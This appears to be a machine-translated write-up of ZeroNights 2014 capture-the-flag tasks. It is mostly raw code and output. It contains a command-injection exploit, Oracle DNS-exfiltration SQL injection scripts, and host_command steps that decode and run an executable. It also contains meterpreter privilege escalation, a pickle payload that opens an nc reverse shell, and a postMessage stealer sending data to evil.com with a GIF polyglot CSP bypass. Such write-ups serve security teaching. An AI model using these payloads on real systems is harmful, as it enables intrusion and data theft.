ZeroNights 2014カンファレンス-すべてがどうだったか

$ file 2014_1_Alighieri.exe 2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows 

 $ wine 2014_1_Alighieri.exe ...Gimme something... $ wine 2014_1_Alighieri.exe asd ...But already my desire and my will were being turned like a wheel, all at one speed, by the Love which moves the sun and the other stars.-1.000000 -1.200000 ! -1.000000 -1.200000 ! -1.222220 -1.200000 ! 0.000000 -1.200000 ! Your system has been tainted... S0rry! =-+_&*¦№ў<¦¬B¬VI-N¦ 

 if(len args < 2) sys->fprint(sys->fildes(2), "Gimme something..."); else{ str := "-c /dis/echo " + hd tl args + " | /dis/crypt"; args1 := list of {"sh", str,}; mod: Command; (mod, args1) = loadmod(args1); mod->init(nil, args1); } 

 $ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA' ...LOL ; ls / / /appl /bin /boot /cdrom /chan /dev /dis /env /etc /fd /fonts /home /initrd.img /initrd.img.old /lib /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /mnt /n /net /net.alt /nvfs /opt /poem.txt /prof /prog /root /run /sbin /srv /tmp /usr /var /vmlinuz 

  ; ./cat.dis /mnt/blas.txt I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7 CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50 IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1 bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4 OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K 

 #include "lib9.h" #include "mathi.h" double dot(int n, double *x, double *y) { double sum = 0; int i = (int) y[0]; unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 }; unsigned char j = (unsigned char) x[0]; printf("%f %f !\n", x[3], y[3]); if (n <= 0) return 0; while (n--) { sum += *x++ * *y++; } sum = (double) (j ^ k[i]); return sum; } int iamax(int n, double *x) { int i, m; double xm, a; if (n <= 0) return 0; m = 0; xm = fabs(*x); for (i = 1; i < n; i++) { a = fabs(*++x); if (xm < a) { m = i; xm = a; } } return m; } double norm1(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += fabs(*x); x++; } return sum; } double norm2(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += *x * *x; x++; } return sum; } 

 ... x := array[] of {50.0, 432432.32423, 0.0, -1.0}; y := array[] of {1.00, 24373.231879, 0.0, -1.2}; decrypt := 0; secret: array of byte; alg := DEFAULTALG; rand->init(132321); s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783"; secret = array of byte s; # enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it! s = string secret; sys->fprint(stderr, "Your system has been tainted... S0rry!\r\n"); ... 

 ; disdump crypt.dis frame $8, 40(fp) ... newa $4, $3, 40(fp) // x := array[] of {50.0, 432432.32423, 0.0, -1.0}; indf 40(fp), 96(fp), $0 movf 80(mp), 0(96(fp)) indf 40(fp), 96(fp), $1 movf 96(mp), 0(96(fp)) indf 40(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 40(fp), 96(fp), $3 movf 104(mp), 0(96(fp)) newa $4, $3, 48(fp) // y := array[] of {1.00, 24373.231879, 0.0, -1.2}; indf 48(fp), 96(fp), $0 movf 48(mp), 0(96(fp)) indf 48(fp), 96(fp), $1 movf 88(mp), 0(96(fp)) indf 48(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 48(fp), 96(fp), $3 movf 112(mp), 0(96(fp)) movw $0, 60(fp) movp 228(mp), 56(fp) mframe 224(mp), $0, 96(fp) movw $132321, 32(96(fp)) // rand->init(132321); mcall 96(fp), $0, 224(mp) movp 136(mp), 76(fp) cvtca 76(fp), 44(fp) indb 44(fp), 96(fp), $2 mframe 212(mp), $0, 100(fp) movp 40(fp), 32(100(fp)) movp 48(fp), 36(100(fp)) lea 112(fp), 16(100(fp)) mcall 100(fp), $0, 212(mp) cvtfw 112(fp), 92(fp) cvtwb 92(fp), 0(96(fp)) indf 40(fp), 100(fp), $1 indf 40(fp), 96(fp), $2 // s[2] = chr(int(dot(3,x,y))&0xFF) mulf 0(96(fp)), 64(mp), 112(fp) // x[1] = (x[2] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 // y[2] = 48(fp) = 50.0 movf 48(mp), 0(100(fp)) indb 44(fp), 100(fp), $4 // s[2] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $3 mulf 0(96(fp)), 56(mp), 0(100(fp)) // x[3] *= 56(mp) = 1.22222 indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $35 // s[35] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $1 mulf 0(96(fp)), 64(mp), 112(fp) // x[3] *= (x[1] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $36 // s[36] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $37 // s[37] = rand(2014) mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $34 // s[34] = rand(2014) - 50 mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) subw $50, 96(fp) ... 

 include "rand.m"; rsalt: big; init(seed: int) { rsalt = big 10; } MASK: con (big 1<<63)-(big 1); rand(modulus: int): int { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= 0) return 0; return int (((rsalt&MASK)>>10) % big modulus); } # 0 < modulus < 2^53 bigrand(modulus: big): big { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= big 0) return big 0; return ((rsalt&MASK)>>10) % modulus; } 

 rsalt = 10 MASK = (1<<63)-(1) def rand(modulus): global rsalt global MASK rsalt = rsalt * 1103515245 + 12345; if modulus <= 0: return 0 return int (((rsalt&MASK)>>10) % modulus) s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783'] s[2] = 51 s[4] = 51 s[35] = 51 s[36] = 51 s[37] = rand(2014) & 0xFF s[34] = rand(2014) - 50 & 0xFF print ''.join([chr(x) for x in s]) 

 $ python genkey.py Pr3v3tPyotr!PyotrlovesGo&Pokemons!w33\83 

 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 

 queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105) 

 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 

 queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105) 

 login for TNS - c##webdbadmin, password - strongpassword123 

 31337=SYS poradb BRUKERNAVN 

 CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))'; 

 select * from user_tables@TEST123 

 select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40 

 DECLARE l_output DBMS_OUTPUT.chararr; l_lines INTEGER := 1000; BEGIN DBMS_OUTPUT.enable(1000000); DBMS_JAVA.set_output(1000000); host_command('dir'); DBMS_OUTPUT.get_lines(l_output, l_lines); FOR i IN 1 .. l_lines LOOP -- Do something with the line. -- Data in the collection - l_output(i) DBMS_OUTPUT.put_line(l_output(i)); END LOOP; END; 

 ... host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc'); host_command('certutil -decode hui.enc hui.exe'); host_command('hui.exe'); 

 meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== WIN-A4CD786SH46\oracuser Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM WIN-A4CD786SH46\Administrator meterpreter > impersonate_token WIN-A4CD786SH46\\Administrator [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user WIN-A4CD786SH46\Administrator meterpreter > getuid Server username: WIN-A4CD786SH46\Administrator 

 meterpreter > cd password meterpreter > ls Listing: c:\Users\Administrator\Desktop\password ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2014-10-03 04:02:41 +0400 . 40555/r-xr-xr-x 0 dir 2014-10-03 04:02:41 +0400 .. 100666/rw-rw-rw- 17 fil 2014-10-02 20:55:46 +0400 passwords.txt meterpreter > cat passwords.txt belkas'elakolbasy 

 meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 

モスクワのPOS端末の1つで、機能しているボットネットネットワークのマルウェアのサンプルが見つかりました...

• zipアーカイブオーバーレイ
• パックアップ
• py2exeによって作成されたファイル

 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); code = r_object(p); consts = r_object(p); names = r_object(p); 

 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); unsigned int secret_key = (unsigned int)r_long(p); unsigned int secret_size = (unsigned int)r_long(p); DWORD * secret_buffer = 0; if ( secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p); 

 decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object(decoded_code); if ( code ) { consts = r_object(p); names = r_object(p); 

 1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl 

 <1E01304A> JMP 1E13DF9D ; tuple <1E00DBDB> JMP 1E13DF9D ; b3SS.decrypt <1E00D85C> JMP 1E13DF9D ; b3SS.hash <1E00DA0B> JMP 1E13DF9D ; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D ; b3SS.auth <1E012F1B> JMP 1E13DF9D ; lambda <1E02175B> JMP 1E13DF9D ; lambda <1E0240EB> JMP 1E13DF9D ; cexec <1E024210> JMP 1E13DF9D ; load <1E02438F> JMP 1E13DF9D ; inj <1E0244E0> JMP 1E13DF9D ; is64p <1E024EA6> JMP 1E13DF9D ; req <1E025110> JMP 1E13DF9D ; console <1E0237DB> JMP 1E13DF9D ; mask <1E026FCF> JMP 1E13DF9D ; __init__ <1E02718A> JMP 1E13DF9D ; __init__ <1E13DF9D> MOV ESP,EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0 ; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0 ; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0 ; function itself POP EAX POPAD RETN 

 '#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]', "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7" ) 

 object : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object : 'CMD_MAKE_METRIC_TYPE_INTERNAL' object : "%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> .... 

 object : "\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n(cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'cmd'\np6\nI13\nsS'params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb." object : (<T4a5.b3SS object at 0x00D39F10>, "\x15\xeb:\xbc\xc7\x00ccopy_reg\n_reconstructor\np1\n(cxkQr\na2Dx\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'token'\np6\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np7\nsS'cmd'\np8\nI7\nsS'ret'\np9\n(lp10\nVbahgvsj [4a8c04]\np11\naVbahgvsj\np12\nasb.", "\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7", '7\x16\xb6A.\xf6(\xf8/\xd6i\xe3\xb7\xe5E\xf6') 

pickleモジュールは、誤ったデータや悪意を持って作成されたデータから保護することを目的としていません。 信頼できない、または認証されていないソースから受信したデータをピクルス解除しないでください[5]。

 import pickle import socket import os class payload(object): def __reduce__(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell" return (os.system, (comm,)) payload = pickle.dumps(payload()) print repr(payload) 

 "cposix\nsystem\np0\n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'\np1\ntp2\nRp3\n." 

 <1E050C40> JMP 1E13DE9B ; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C],EAX POPAD RETN 

  name = string_generator(7); url = "http://*.*.*.*:808/"+name+"/" ff_code, ff_hash, ff_key = twGen(16) spritz = spritz.Spritz() print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj ", ff_code print name, ff_hash 

• (ls)
• (cd)
• (cat)
• (who)

• C:/Users/pos-user/AppData/LocalLow/zn_bot/
• pos_1 C:/Users/pos-user/AppData/LocalLow/pos_bot/
• C:/Windows/shell_storage/

 ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5} 

開始する

 <!--<li><a href="tel:88005052098">Support</a></li>--> 

電話番号

-

 Welcome to Private Banking Service! NAME: John Doe CARD: 9090123490905678 BALANCE: 100.0 EXPIRES: 2017-01-13 PIN: 1337 CVV: 123 But our pricess is in another castle! 

結論

:

Get flag from admin page: www.id1.pw
PS DirBuster cannot help you

  var MAGIC = function(_13) { /*js-code*/ _1 = _9(_1, _2, _0, _3, _4[_5 0], _27, 0xD76AA478); _3 = _9(_3, _1, _2, _0, _4[_5 1], _26, 0xE8C7B756); /*js-code*/ }; $(document)["ready"](function() { var _55 = document["getElementsByName"]("email")[0]["value"]; if (_55["length"] > 2) { if (document["getElementById"]("userPass")) { document["getElementById"]("userPass")["innerHTML"] = "Password:"+MAGIC(_55)["substring"](0, 10) } }; return 0 }); 

  parent.postMessage('<a href="http://auth.id1.pw">Hello, guest!</a>', "http://www.id1.pw"); 

  var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { var key = e.message ? "message" : "data"; var data = e[key]; var img = document.createElement('img'); img.src = 'http://evil.com/logger?c='+escape(data); document.appendChild(img); },false); 

  <iframe src="http://auth.id1.pw/navbar-status.php?origin=http://www.id1.pw.bf.am" style="display: none;"></iframe> 

  [09/Oct/2014:06:19:03 +0000] "GET /logger?c=%3Ca%20href%3D%22/account/%22%3EHello%2C%20yoyoyomoderator1998@google.com%3C/a%3E HTTP/1.1" 200 318 

  md5('yoyoyomoderator1998@google.com')=214fbc9577288ab4c104e25c7fbbd088 yoyoyomoderator1998@google.com:214fbc9577 

  Content-Security-Policy: default-src 'self' https://apis.google.com http://fonts.googleapis.com/ http://fonts.gstatic.com/ http://auth.id1.pw 

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1;alert(1); 

  <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1; $.get("/admin/",function(data){ var x = document.getElementById("xxx"); var mbody = document.getElementById("mbody"); mbody.value=escape(data); x.submit(); }); 

  <form action="http://www.id1.pw/users/id{userid}/" method="POST" id="xxx"> <input name="body" id="mbody" value=""/> </form> <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 

 Your flag is: 5aa04d91037d1eced1358e343ad44369cf2ccdce902ddb52f034743634312e03